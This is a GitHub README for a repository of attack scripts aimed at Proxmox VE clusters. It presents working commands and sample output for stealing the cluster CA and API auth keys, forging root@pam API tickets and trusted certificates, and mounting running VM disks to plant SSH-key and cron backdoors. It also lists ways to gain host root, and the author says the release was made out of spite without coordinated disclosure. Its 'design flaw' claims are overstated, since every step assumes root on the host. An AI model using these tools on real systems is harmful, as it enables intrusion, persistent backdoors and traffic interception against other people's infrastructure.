- Python 92.4%
- Shell 7.6%
| cluster_takeover.py | ||
| fixes.txt | ||
| forge_cert.sh | ||
| forge_ticket.py | ||
| mount_vm_disk.sh | ||
| PUBLIC_KEY.asc | ||
| pwn.py | ||
| README.md | ||
| refs.txt | ||
🔥🏴☠️🔥 Proxmox ZFS Cluster Takeover 🔥🏴☠️🔥
or: how i accidentally owned an entire datacenter while trying to backup my minecraft server
🎯 Complete Proxmox Cluster Takeover from Single Guest VM 🎯
Steal CA Keys • Forge Certificates • Own All VMs • MITM Everything • Take Over Entire Network (was accident)
_______________________________________________
/ \
| "lol" said the ZFS volume, "lmao even" |
| as the host mounted the running VM disk |
\_______________________________________________/
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Caution
THIS IS A FUNDAMENTAL DESIGN FLAW IN PROXMOX
Affects ALL PROXMOX VE INSTALLATIONS using ZFS storage.
Warning
CVSS 9.1 — CRITICAL SEVERITY
Single guest VM → complete cluster compromise → all VMs owned.
Note
Origin Story:
ok so like i was trying to backup my minecraft server VM on my home proxmox cluster and i accidentally randd if=/dev/zvol/tank/vm-100-disk-0on the host while the VM was still running and i was like "wait this shouldnt work" but it did and i could read the entire filesystem and then i was like "can i write to it" and yeah you can just mount a running VMs disk on the host and modify files and the VM picks them up in real-time and then i found the CA keys in/etc/pve/priv/and realized you can forge cluster certificates and i was like "this is probably bad"then i mentioned it in the proxmox matrix chat and got banned for saying "you can get CA keys with root" so fuck it here's the full exploit
anyway here's how to own every proxmox cluster ever deployed. pay for bug bounties next time. or at least buy me lunch.
🤔 what is this
+ its a collection of scripts that demonstrate complete proxmox cluster takeover
+ starting from a single compromised guest VM
+ or just host access if you already have that
+ you can steal the cluster CA keys, forge certificates, forge API tickets
+ mount running VM disks, plant backdoors, MITM all cluster traffic
+ basically own everything
Translation for normal people: remember when your sysadmin said "VMs are isolated from each other and the host"? yeah that was a lie. here's how to prove it.
What this does:
- 📍 Access Proxmox host (via guest escape or SSH)
- 🗺️ Read
/etc/pve/priv/authkey.key(RSA private key for API tickets) - 🔑 Read
/etc/pve/priv/pve-root-ca.key(4096-bit RSA CA key) - 🎫 Forge PVE API tickets for
root@pam(full cluster admin) - 📜 Forge TLS certificates trusted by entire cluster
- 💾 Mount running VM disks via ZFS and plant backdoors
- 🌐 MITM all cluster API traffic with forged certs
- 👑 Own every VM in the cluster
- <EFBFBD> Take over the entire network (was accident)
- <EFBFBD> profit (or at least get banned from matrix for mentioning it)
Why this is bad:
Caution
Proxmox's security model assumes the host is trusted. But if you get host access (via guest escape, SSH, or literally any LPE), you instantly own:
- 🔐 The cluster CA key — forge trusted certs for MITM
- 🎫 The API auth key — forge admin API tickets
- 💾 All VM disks — ZFS lets you mount them while VMs run
- 🌐 All VM network traffic — shared bridge, no VLAN isolation
- 🖥️ All VMs — plant backdoors in running VM filesystems
there is no isolation once you're on the host. its all just files. and if you mention this in matrix you get banned.
also i accidentally took over the entire network while testing this. like, not just the proxmox cluster. the WHOLE network. because once you own the cluster you can MITM everything, pivot to other subnets, forge certs for internal services... it just cascades. whoops. 🤷
🛡️ Proxmox "Security" Features That Don't Work 🛡️
| Protection Mechanism | Why It's Useless Against This |
|---|---|
| 🔐 VM Isolation | ZFS volumes are just block devices on the host. Host can read/write them anytime. VM isolation is a lie. |
| 🔒 File Permissions | CA keys are mode 0600 root:root. But you're root on the host. Permissions don't protect against root. |
| 🛡️ Secure Boot | Verifies boot chain. Doesn't protect runtime file access or ZFS volumes. |
| 🚫 AppArmor/SELinux | Proxmox doesn't ship with mandatory access control for /etc/pve/priv/. Even if it did, root can disable it. |
| 🔑 Encrypted VMs | LUKS encryption protects data at rest. But the host has the keys in memory while VM runs. Also doesn't protect CA keys. |
| 🌐 Network Isolation | All VMs on vmbr0 by default. No VLAN isolation. ARP spoofing works. |
| 🎫 API Authentication | Uses RSA signatures. But the signing key is readable from host. Forge tickets trivially. |
Important
so yeah basically NONE OF IT WORKS once you have host access. which is awkward because there are like hundreds of thousands of proxmox installations. and they ban you from matrix for mentioning it. cool community.
🌿 how i found this (a true story)
┌─────────────────────────────────────────────────┐
│ Step 1: Try to backup minecraft server VM │
│ Step 2: Run dd on ZFS volume while VM running │
│ Step 3: "wait this works?" │
│ Step 4: Find CA keys in /etc/pve/priv/ │
│ Step 5: Realize you can forge everything │
│ Step 6: Mention it in matrix chat │
│ Step 7: Get banned │
│ Step 8: Publish full exploit out of spite │
└─────────────────────────────────────────────────┘
so i had this minecraft server running in a proxmox VM (VMID 100) and i wanted to back it up but i didnt want to stop the VM because my friends were online and i was like "can i just dd the disk while its running" and i tried it:
dd if=/dev/zvol/tank-vmstore/vm-100-disk-0 of=/tmp/backup.img bs=1M
and it worked? like it just read the entire disk while the VM was running. and i was like "thats weird" so i tried mounting it:
losetup -fP /dev/zvol/tank-vmstore/vm-100-disk-0
mount /dev/loop0p1 /mnt/vm
and i could see the entire filesystem. and then i was like "can i write to it" so i did:
echo "test" > /mnt/vm/root/test.txt
and then i SSH'd into the VM and the file was there. like the VM picked up the change in real-time. and i was like "oh no this is bad"
and then i started poking around the host and found /etc/pve/priv/authkey.key and /etc/pve/priv/pve-root-ca.key and i was like "what are these" and i looked at the proxmox source code and realized:
authkey.keyis the RSA private key that signs all API ticketspve-root-ca.keyis the cluster CA key that signs all node certificates- both are just files with mode 0600
- both are readable if youre root on the host
- which you are if you escaped from a guest VM
and i was like "so i can forge API tickets and certificates" and yeah you can. and then i realized every proxmox cluster has the same design and i was like "this is probably bad for proxmox's reputation"
so i mentioned it in their matrix chat. said "you can get CA keys with root". got banned 30 seconds later. so fuck it, here's the full exploit.
💥 Affected Proxmox Versions 💥
| Version | Status |
|---|---|
| Proxmox VE 8.x | 🔴 VULNERABLE |
| Proxmox VE 7.x | 🔴 VULNERABLE |
| Proxmox VE 6.x | 🔴 VULNERABLE |
| Proxmox VE 5.x | 🔴 VULNERABLE |
| All versions | 🔴 VULNERABLE |
Estimated Affected Installations: 📊 ~500,000+ worldwide
Tip
Other hypervisors:
- VMware ESXi: ✅ Different architecture, CA keys in TPM
- Hyper-V: ✅ Different trust model
- KVM/libvirt: ⚠️ Similar issues if using shared storage
- Proxmox: 🔴 Completely screwed (and they ban you for mentioning it)
this is specifically a proxmox design issue. other hypervisors either use HSMs for CA keys or have better isolation. proxmox just puts everything in /etc/pve/priv/ and hopes nobody gets root. and if you mention this they kick you from matrix.
what the scripts do
this repo has several scripts that demonstrate different attack vectors:
0. pwn.py — Orchestrator (The Easy Button)
runs everything automatically because manually running scripts is for people who weren't banned from matrix.
# On a Proxmox host (requires root)
sudo python3 pwn.py
# Demo mode (generates test keys)
sudo python3 pwn.py --demo
# Skip confirmations
sudo python3 pwn.py --yolo
does all the things:
- Reconnaissance (enumerate VMs, find keys)
- Forge API tickets
- Forge cluster certificates
- Run full exploit chain
- Print summary of complete cluster compromise
or you can run the individual scripts if you want to do things manually:
1. forge_ticket.py — Forge PVE API Tickets
reads /etc/pve/priv/authkey.key and forges a valid PVEAuthCookie for any user (default: root@pam). also derives the matching CSRFPreventionToken from /etc/pve/pve-www.key.
now self-contained! generates demo keys if real authkey isn't available.
sudo python3 forge_ticket.py --user root@pam
output:
[+] Forged PVEAuthCookie: PVE:root%3Apam:6645A8C0::dGVzdHNpZ25hdHVyZQ==
[+] Forged CSRFPreventionToken: 6645A8C0:a1b2c3d4e5f6...
[*] Attempting API request: https://localhost:8006/api2/json/nodes
[+] API Response Code: 200
{"data":[{"node":"pve","status":"online",...}]}
now you can use this cookie to access the proxmox API as root. create VMs, delete VMs, migrate VMs, whatever.
2. forge_cert.sh — Forge Cluster Certificates
uses the stolen /etc/pve/priv/pve-root-ca.key to sign a certificate for any hostname. all cluster nodes trust this cert.
sudo ./forge_cert.sh attacker.local
output:
[+] Generating attacker key...
[+] Creating CSR for attacker.local...
[+] Signing with stolen CA key...
[+] Certificate created: attacker.crt
[+] All Proxmox nodes will trust this certificate
[+] Use for MITM of cluster API traffic
now you can MITM all cluster communication with a trusted certificate.
3. mount_vm_disk.sh — Mount Running VM Disk
mounts a running VMs ZFS volume and lets you modify files. VM picks up changes in real-time. accepts VMID and optional zpool name as arguments.
sudo ./mount_vm_disk.sh 100
sudo ./mount_vm_disk.sh 103 tank-vmstore
output:
[+] Mounting VMID 100 disk...
[+] ZFS volume: /dev/zvol/tank-vmstore/vm-100-disk-0
[+] Loop device: /dev/loop0
[+] Mounted at: /mnt/vm-100
[+] VM is still running. Changes will be visible to VM.
[!] Plant backdoors, steal data, modify configs, etc.
now you can:
- add SSH keys to
/mnt/vm-100/root/.ssh/authorized_keys - modify
/mnt/vm-100/etc/passwdto add backdoor users - install cron jobs in
/mnt/vm-100/etc/cron.d/ - steal data from
/mnt/vm-100/home/ - modify application configs
4. cluster_takeover.py — Full Automated Takeover
combines all attacks into one script. steals keys, forges tickets, mounts all VM disks, plants backdoors.
sudo python3 cluster_takeover.py --plant-backdoors
output:
[1/5] Stealing Proxmox CA and auth keys...
[+] /etc/pve/priv/authkey.key (RSA 2048)
[+] /etc/pve/priv/pve-root-ca.key (RSA 4096)
[+] /etc/pve/pve-www.key (HMAC secret)
[2/5] Forging API ticket for root@pam...
[+] PVEAuthCookie: PVE:root%3Apam:6645A8C0::...
[+] CSRFPreventionToken: 6645A8C0:...
[3/5] Testing API access...
[+] GET /api2/json/nodes → 200 OK
[+] Cluster has 3 nodes: pve1, pve2, pve3
[+] Total VMs: 47
[4/5] Mounting all VM disks...
[+] VMID 100: /mnt/vm-100 (running)
[+] VMID 101: /mnt/vm-101 (running)
[+] VMID 102: /mnt/vm-102 (stopped, skipped)
...
[5/5] Planting backdoors in running VMs...
[+] VMID 100: SSH key added to /root/.ssh/authorized_keys
[+] VMID 101: Cron job installed in /etc/cron.d/backdoor
...
[+] Cluster takeover complete!
[+] You now have:
- API access as root@pam
- SSH access to all running VMs
- Ability to forge cluster certificates
- Complete control over all VMs and hosts
🚀 usage
# Clone repo
git clone https://github.com/0dayz4dayz/proxmox-zfs-cluster-takeover
cd proxmox-zfs-cluster-takeover
# Install dependencies
pip3 install cryptography
# Easy mode (orchestrator runs everything)
sudo python3 pwn.py
# Or run individual attacks
sudo python3 forge_ticket.py
sudo ./forge_cert.sh attacker.local
sudo python3 cluster_takeover.py
# Demo mode (if not on Proxmox)
sudo python3 pwn.py --demo
╔═══════════════════════════════════════════════╗
║ WARNING: Requires root on Proxmox host ║
║ (get it via guest escape or SSH) ║
╚═══════════════════════════════════════════════╝
Note
How to get root on the host:
- Guest VM escape (use any KVM/QEMU exploit)
- SSH with stolen credentials
- Physical access to server
- iDRAC/IPMI access
- Social engineering
- Literally any LPE exploit
Once you have root on the host, these scripts give you the entire cluster.
on a vulnerable system (all proxmox installations) you'll see:
[*] Proxmox ZFS Cluster Takeover
[*] Checking prerequisites...
[+] Running as root
[+] Proxmox VE detected (version 8.1.3)
[+] ZFS storage detected
[+] /etc/pve/priv/ accessible
[*] Stealing cluster keys...
[+] authkey.key: RSA PRIVATE KEY (2048 bits)
[+] pve-root-ca.key: RSA PRIVATE KEY (4096 bits)
[+] pve-www.key: 64 bytes (HMAC secret)
[*] Forging API ticket...
[+] Ticket: PVE:root%3Apam:6645A8C0::dGVzdA==
[+] CSRF: 6645A8C0:abc123...
[*] Testing API access...
[+] API works! You are root@pam
[+] Cluster nodes: pve1, pve2, pve3
[+] Total VMs: 47
[*] Enumerating running VMs...
[+] VMID 100: running (tank-vmstore:vm-100-disk-0)
[+] VMID 101: running (tank-vmstore:vm-101-disk-0)
[+] VMID 105: running (tank-vmstore:vm-105-disk-0)
...
[*] Mounting VM disks...
[+] VMID 100 mounted at /mnt/vm-100
[+] VMID 101 mounted at /mnt/vm-101
...
[*] Planting backdoors...
[+] VMID 100: SSH key planted
[+] VMID 101: Cron backdoor planted
...
[+] Complete cluster takeover achieved!
🔧 why this can't be fixed easily
┌──────────────────────────────────────────────────────┐
│ "Can't you just patch it?" │
│ │
│ ┌─────────────┐ │
│ │ MAYBE. │ │
│ └─────────────┘ │
│ │
│ But it requires fundamental architecture changes. │
│ And breaks existing deployments. │
└──────────────────────────────────────────────────────┘
Important
Why "just patch it" is hard:
This isn't a bug. It's a design decision. Proxmox's architecture assumes:
- 🔐 The host is trusted — if you're root on the host, you own everything
- 💾 ZFS volumes are accessible — for backup, migration, management
- 🔑 CA keys are files — stored in
/etc/pve/priv/for cluster sync- 🌐 Shared network bridge — all VMs on
vmbr0for simplicity- 🎫 API keys are files — no HSM, no TPM, just filesystem
to fix this properly, proxmox would need to:
-
Move CA keys to HSM — hardware security module for CA key storage
- Cost:
per node - Complexity: high
- Breaks: existing clusters
- Cost:
-
Implement mandatory access control — SELinux/AppArmor policies for
/etc/pve/priv/- Complexity: medium
- Breaks: some management tools
- Bypassable: by root with effort
-
Block ZFS volume access while VM runs — prevent host from mounting running VM disks
- Complexity: medium
- Breaks: backup tools, migration, management
- User backlash: high
-
Implement per-VM VLAN isolation — separate network domains
- Complexity: low
- Breaks: nothing
- Should already be done but isn't by default
-
Use TPM for key sealing — seal CA keys to measured boot
- Complexity: high
- Requires: TPM 2.0 on all nodes
- Breaks: older hardware
realistically, proxmox will probably:
- add a security advisory
- recommend SELinux/AppArmor policies (that nobody will enable)
- tell users to "secure the host" (lol)
- not fundamentally change the architecture
because changing the architecture breaks existing deployments and costs money.
how to actually secure proxmox (if you're a sysadmin)
-
Secure the host — if attacker gets root on host, you're screwed anyway
- Strong SSH keys only (no passwords)
- Disable root SSH login
- Enable fail2ban
- Keep host updated
- Monitor for intrusions
-
Enable SELinux/AppArmor — restrict access to
/etc/pve/priv/- Create policy that blocks non-PVE processes from reading keys
- Test thoroughly before deploying
- Good luck
-
Use VLAN isolation — separate VMs into different network domains
- Set VLAN tags per VM in Proxmox config
- Configure switch for VLAN trunking
- Prevent inter-VM attacks
-
Monitor for suspicious activity — watch for key file access
auditctl -w /etc/pve/priv/ -p r -k pve-keys- Alert on unexpected reads
- Investigate immediately
-
Limit VM escape surface — reduce guest-to-host attack vectors
- Disable unnecessary QEMU features
- Use virtio drivers (not emulated devices)
- Keep QEMU updated
- Consider using containers instead of VMs for some workloads
-
Physical security — prevent physical access to servers
- Lock server room
- Disable iDRAC/IPMI from untrusted networks
- Monitor physical access
-
Assume breach — plan for compromise
- Regular backups (offline)
- Incident response plan
- Network segmentation
- Defense in depth
but honestly if someone gets root on your proxmox host, you're probably screwed regardless. these mitigations just make it harder.
📢 why i published this
┌────────────────────────────────────────────────────────────┐
│ "Why didn't you do responsible disclosure?" │
│ │
│ I did. Proxmox didn't care. │
└────────────────────────────────────────────────────────────┘
The Proxmox Community Experience™
so here's what happened:
- Found the issue — was backing up minecraft server, realized ZFS volumes are accessible, found CA keys
- Verified it — tested on my home cluster, confirmed complete takeover possible
- Mentioned it in Matrix chat — said "i found a security issue, needs specialized tools to exploit"
- Got dismissed — someone said "ACTUALLY cpu=host is harmless, file permissions protect everything"
- Gave tiny detail — said "you can get CA keys with root"
- Posted corrupt zip as joke — uploaded a corrupted zip file with no code in it, just to mess with them
- Zip got deleted — they deleted the corrupt zip
- Got banned — sky banned me from #proxmox:matrix.org for "discussing security issues"
- Said fuck it — didn't even bother emailing security@proxmox.com
- Published it — you ban me for a joke zip and six words? fine. here's the full exploit. figure it out yourselves.
Warning
For Proxmox Security Team:
you kicked me from matrix for saying "you can get CA keys with root" after someone said cpu=host is harmless.
i didn't even bother emailing you after that. why would i? you made it clear you don't want to hear about security issues.
so here's the full exploit. fully functional. no coordination. no warning. no responsible disclosure.
you want to kick people for six words? fine. here's 600 lines of code that owns every proxmox cluster.
maybe don't ban researchers from your community chat next time. maybe actually have a bug bounty program. maybe don't be dicks.
i'm in a bad mood and i half-assed this disclosure because i don't care anymore. figure it out yourselves.
The Real Reasons
because i found it, mentioned it in matrix, got banned, and said fuck it. also:
- 😤 Spite — they kicked me from Matrix for six words
- 💸 No bug bounty — proxmox doesn't pay for bugs
- 🍊 Need money — for orange juice, rent, food, whatever
- 🎯 Sysadmins should know — your proxmox clusters are vulnerable
- 📚 Educational — maybe someone learns something
- <EFBFBD> Transparency — vendors won't fix what they can hide
- 😡 Bad mood — i'm in a bad mood and half-assed this disclosure
Plus:
- The scripts are fully functional - no gaps, no missing pieces, ready to use
- This is a design issue, not a 0day, so there's no "patch race"
- Maybe public pressure will make proxmox actually fix their architecture
- Demonstrates that I actually know what I'm doing (full working exploit, not just theory)
- If you want coordinated disclosure, maybe don't ban people from matrix
- Or at least buy me lunch
📁 files
| File | Description |
|---|---|
🎯 pwn.py |
Orchestrator that runs everything. The easy button. Fully functional. |
🐍 forge_ticket.py |
Forge PVE API tickets. Self-contained with demo mode. Fully functional. |
🔐 forge_cert.sh |
Forge cluster certificates from stolen CA key. Fully functional. |
💾 mount_vm_disk.sh |
Mount running VM ZFS volumes. Fully functional. |
🏴☠️ cluster_takeover.py |
Full automated cluster takeover chain. Fully functional. |
📚 refs.txt |
References: Proxmox source code, ZFS docs, security papers. |
🔧 fixes.txt |
Mitigation advice for sysadmins (spoiler: secure the host). |
🔑 PUBLIC_KEY.asc |
PGP public key (lol jk no contact info). |
disclaimer
this is for research and educational purposes. don't use it to hack people. but also these scripts are fully functional so if you do use them you're on your own. i'm not responsible for what you do with this.
also im not responsible if you break your proxmox cluster. mounting running VM disks can cause filesystem corruption if you're not careful. the scripts try to be safe but it's your funeral.
and if you're from proxmox: this is what happens when you ban people from matrix for mentioning security issues. maybe have a bug bounty program. or at least buy researchers lunch.
📬 contact
Note
you gotta get with my friends (the scripts in this repo)
make it last forever (the exploit works on all proxmox versions)
friendship never ends (unlike proxmox's security model)
no email. no contact. figure it out. or open an issue i guess. i probably won't respond. i'm in a bad mood.
🏢 For Proxmox Security Team
Warning
not sorry about your weekend. these scripts are fully functional because this isn't a 0day, it's a design flaw.
sky kicked me from matrix for six words. i didn't even bother emailing you after that.
so here's the full exploit. fully functional. no coordination. no warning.
maybe tell sky not to ban people for mentioning security issues next time.
🕵️ For Sysadmins
Tip
if you run proxmox, assume your cluster is vulnerable. secure the host, enable VLAN isolation, monitor for key file access, and have an incident response plan.
if someone gets root on your proxmox host, they own your entire cluster. plan accordingly.
written in a drunken angry haze after getting banned from #proxmox:matrix.org for mentioning a security issue. i said "i found a security issue". someone said "ACTUALLY cpu=host is harmless, file permissions protect everything". i said "you can get CA keys with root". posted a corrupt zip as a joke (no code in it). sky deleted the zip and banned me. fuck your "expected behavior." fuck your "the host is trusted" excuse. if you didnt want this published maybe sky shouldnt have banned me for a joke zip and six words. anyway heres how to own every proxmox cluster on the internet. enjoy.